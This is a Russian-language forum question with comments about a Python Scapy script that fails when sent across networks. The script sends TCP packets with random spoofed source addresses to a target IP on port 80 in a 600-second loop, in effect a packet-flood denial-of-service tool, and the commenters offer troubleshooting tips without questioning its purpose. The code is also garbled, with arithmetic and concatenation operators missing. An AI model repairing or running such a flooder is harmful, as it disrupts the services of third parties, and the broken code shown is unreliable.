Python отправляет пакеты с помощью Scapy

#python #scapy #packet

Вопрос:

Я пытаюсь отправлять TCP-пакеты с помощью Python. Он отлично работает, если я отправлю его на mysel f(я использую Wireshark, чтобы узнать, удалось ли это), но если я отправлю его с устройства в другой сети мне, он не будет работать. (Я скомпилировал его в exe).

 try:
    Count = 1
    seconds=600
    IPdst = ip
    t_end = time.time()   seconds
    while time.time() < t_end:
        Count  = 1
        for x in range(1):
            one=(random.randint(1,255))
        for x in range(1):
            two=(random.randint(1,255))
        for x in range(1):
            three=(random.randint(1,255))
        for x in range(1):
            four=(random.randint(1,255))
        dot = "."
        one=str(one)
        two=str(two)
        three=str(three)
        four=str(four)

        RndIP=(one dot two dot three dot four)

        A = RndIP
        B = IPdst
        C = RandShort()
        D = 80
        payload = "                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       "


        spoofed_packet = IP(src=A, dst=B) / TCP(sport=C, dport=D) / Raw(load = payload)
        send(spoofed_packet,inter = .0, verbose = False)
except:
    pass
 

Комментарии:

1. Чисто из любопытства, но почему вы for там используете петли? И кроме того, я очень рекомендую это, но вы всегда должны указывать iface аргумент при использовании send и аналогичных функций. Вы не хотите, чтобы Scapy угадывал, какой интерфейс использовать.

2. когда вы говорите: «другая сеть», что вы имеете в виду? также наличие случайного IP-адреса src может быть причиной вашей проблемы, так как вы, скорее всего, получите IP-адрес, не входящий в вашу подчиненную работу